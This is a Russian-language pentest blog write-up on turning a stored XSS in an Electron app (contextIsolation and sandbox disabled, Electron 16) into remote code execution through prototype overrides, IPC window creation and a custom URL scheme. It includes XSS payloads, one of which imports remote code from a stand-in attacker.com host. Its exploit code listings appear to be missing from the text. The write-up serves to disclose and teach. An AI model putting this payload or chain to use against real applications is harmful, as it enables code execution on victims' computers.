Уязвимости в Electron-приложениях: RCE через небезопасную конфигурацию

Автор баги: panyakor

Electron — популярный фреймворк для создания кроссплатформенных десктопных приложений с использованием веб-технологий. Однако неправильная конфигурация безопасности может привести к серьезным уязвимостям. В данной статье мы рассмотрим эксплуатацию приложений с отключенными параметрами contextIsolation: false и sandbox: false, что позволило нам выполнить произвольный код на целевой системе.

Архитектура Electron приложения

Прежде чем перейти к описанию найденных уязвимостей, рассмотрим сначала общую архитектуру приложений на Electron. А также разберем основные параметры конфигурации, которые оказывают влияние на безопасность.

Electron разделяет приложение на два основных типа процессов: основной процесс (main process) и процессы рендеринга (renderer processes).

Основной процесс является ключевой точкой входа в приложение и существует в единственном числе. Он имеет полный доступ к Node.js API, поэтому может выполнять операции с файловой системой, запускать подпроцессы и т.д. Также он управляет жизненным циклом приложения и реализует нативные функции, такие как контекстное меню, диалоговые окна, уведомления.

Основной процесс с помощью создания объектов класса BrowserWindow может порождать процессы рендеринга (Renderer Processes). Каждое окно (или вкладка) приложения запускает свой процесс рендеринга. Процесс рендеринга отображает веб-страницу и обрабатывает пользовательский интерфейс с помощью движка Chromium. Для безопасности, по умолчанию процессы рендеринга не имеют прямого доступа к Node.js API и общаются с основным процессом через IPC. Но это можно изменить через свойства объекта webPreferences при создании BrowserWindow.

Для связи между процессами рендеринга и основным процессом, а также для предоставления доступа к привилегированным API используются preload-скрипты. Они имеют доступ к Node.js API и всегда выполняются перед загрузкой веб-страницы в процессе рендеринга.

Рассмотрим основные настройки BrowserWindow, влияющие на безопасность этой архитектуры.

  • nodeIntegration (с версии 5 по умолчанию false) — при значении true предоставляет полный доступ к Node.js API из процессов рендеринга. В таком случае XSS = RCE.
  • contextIsolation (с версии 12 по умолчанию true) — при true изолирует контексты выполнения скриптов в процессах рендеринга и preload-скриптах (а также внутреннем API Electron). Не позволяя таким образом влиять на глобальные объекты (например window).
  • sandbox (с версии 20 по умолчанию true) — при значении true включает механизм песочницы для Chromium процессов, что накладывает дополнительные ограничения для процессов рендеринга средствами операционной системы (см. подробнее в https://chromium.googlesource.com/chromium/src/+/main/docs/design/sandbox.md).

Начало исследования: XSS как точка входа

На одной из страниц веб-приложения мы нашли уязвимый элемент, позволяющий исполнить произвольный JavaScript. Значение одного из параметров, контролируемое пользователем и сохраняемое в базе данных, небезопасно выводилось на странице с помощью innerHTML. Это приводило к возможности проведения XSS-атак, используя простую нагрузку:

<img/src/onerror=alert(origin)>

Помимо веб-версии, в область исследования также входило десктопное приложение на базе Electron. Electron-приложение использовало практически ту же версию сайта, и эта уязвимость там тоже воспроизводилась.

После распаковки ASAR-архива приложения через CLI-утилиту asar:

Мы сразу обратили внимание на опасную конфигурацию главного окна (contextIsolation: false и sandbox: false), создаваемого в основном процессе при запуске приложения:

Далее мы проанализировали скрипт preload.js на наличие методов, небезопасно использующих Electron API или Node.js API (например методы объектов shell, fs, child_process и т.п.). Но не нашли ничего интересного, кроме предоставления доступа к объекту ipcRenderer (используется для посылки сообщений в основной процесс), и получения информации о среде исполнения:

Стоит также заметить, что в приложении использовался Electron 16-й версии (уже устаревший на тот момент).

В случае отключенной изоляции процессов через contextIsolation: false, в этой версии существует способ повлиять из процесса рендеринга на объекты Electron API в основном процессе таким образом, что в связке с sandbox: false это позволяет выполнить произвольный код на компьютере жертвы (источник: https://www.youtube.com/watch?v=Tzo8ucHA5xw).

Код эксплойта, использующий этот способ, выглядит следующим образом (операционная система жертвы: macOS):

Сначала он переопределяет метод endsWith в прототипе объекта String, чтобы пройти проверку для логирования информации о предупреждениях безопасности в консоль после загрузки страницы (по умолчанию работает только при запуске приложения через electron app_dir в процессе разработки).

См. https://github.com/electron/electron/blob/v16.2.8/lib/renderer/init.ts:

См. https://github.com/electron/electron/blob/v16.2.8/lib/renderer/security-warnings.ts:

Далее, при логировании в функции logSecurityWarnings выполняется функция warnAboutInsecureCSP, которая вызывает функцию isUnsafeEvalEnabled:

Функция isUnsafeEvalEnabled обращается к модулю webFrame, который после сборки через webpack, подключается через вызов метода Function.prototype.call:

Cм. https://github.com/webpack/webpack/blob/de79ee457eb921e6e1b186c90c65590789a013ca/
lib/javascript/JavascriptModulesPlugin.js#L1430-L1445

В этом вызове четвертым аргументом (под именем __webpack_require__) передается функция require из Node.js API основного процесса приложения.

Переопределив функцию Function.prototype.call в эксплойте, мы можем по количеству аргументов и названию переданной четвертым аргументом функции, получить доступ к Node.js API из процесса рендеринга. Далее через этот require мы просто загружаем модуль child_process из Node.js API и запускаем калькулятор.

Попробовав этот эксплойт в нашем приложении, мы столкнулись с небольшой проблемой. Из-за того, что часть интерфейса с XSS-уязвимостью загружалась динамически, а проверка необходимости логировать информацию о предупреждениях безопасности происходит по наступлению события load, эксплойт переопределял методы в прототипах объектов Electron API слишком поздно.

Тут нам помог объект ipcRenderer, переданный в процесс рендеринга через свойство ipc глобального объекта electronApi в скрипте preload.js.

А также возможность создания и скрытия окон (объектов BrowserWindow) через обработчики событий IPC, объявленные в коде приложения (использовался модуль @electron/remote):

WinManager.js:

BaseWindow.js:

Код намеренно упрощен, и несмотря на то, что объект с настройками config передается в BrowserWindow, переопределить настройки webPreferences через него было нельзя.

Чтобы решить проблему с поздним срабатыванием эксплойта, мы можем создать новое окно приложения через посылку события CREATE_WINDOW в ipcRenderer:

После наступления события load у этого окна, в нем залогируются предупреждения безопасности и переопределенный нами метод Function.prototype.call приведет к RCE.

Сценарий атаки

Чтобы перейти от XSS к полноценному RCE, мы разместили на своем сервере https://attacker.com код, который импортировался при срабатывании события onerror в XSS-нагрузке:

  1. Злоумышленник внедряет XSS-нагрузку <img/src/onerror=import('https://attacker.com/pwn_import')> на странице созданной им маркетинговой кампании.
  2. При открытии страницы этой кампании жертвой в приложении, выполняется эксплойт, переопределяющий методы объектов прототипов Electron API.
  3. Через IPC событие CREATE_WINDOW открывается новое окно с URL https://attacker.com/pwn_electron_page и именем test.
  4. Срабатывает переопределенный вызов Function.prototype.call и открывается калькулятор.
  5. Открытое окно с именем test скрывается.

Эксплуатация через пользовательскую схему URL

Приложение поддерживало собственную схему ссылок customscheme://, что создавало дополнительный вектор атаки. Мы использовали эту функциональность для инициации атаки. Таким образом, полный сценарий атаки выглядел так:

  1. Мы создали специально сформированную ссылку вида customscheme:///campaigns/widget/<id>, где числовой параметр <id> указывал на идентификатор маркетинговой кампании, содержащей внедренный нами вредоносный код.
  2. При клике пользователя на такую ссылку операционная система автоматически запускала зарегистрированное Electron приложение и передавала ему параметры URL.
  3. Приложение обрабатывало полученный URL и загружало соответствующую маркетинговую кампанию, в контент которой нами был внедрен JavaScript‑код.
  4. Этот скрипт исполнялся сразу после загрузки кампании — без каких‑либо дополнительных действий со стороны пользователя или предупреждений системы.

Заключение

Данный случай наглядно показывает, к чему может привести несоблюдение базовых настроек безопасности в Electron-приложении. Даже одиночная XSS, в сочетании с отключенным contextIsolation, превращается в полноценную точку входа для RCE. Добавление кастомной схемы только упрощает атаку и делает её практически незаметной для пользователя. В подобных конфигурациях цена одной уязвимости значительно возрастает и с ней уже нельзя работать «по шаблону».

Пентест

Вы можете нанять одну из лучших команд хакеров в мире для проведения тестирования на проникновение.

Мы работаем как с крупными корпорациями, так и со стартапами, знаем про требования регуляторов, нужды бизнеса и реальные угрозы.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *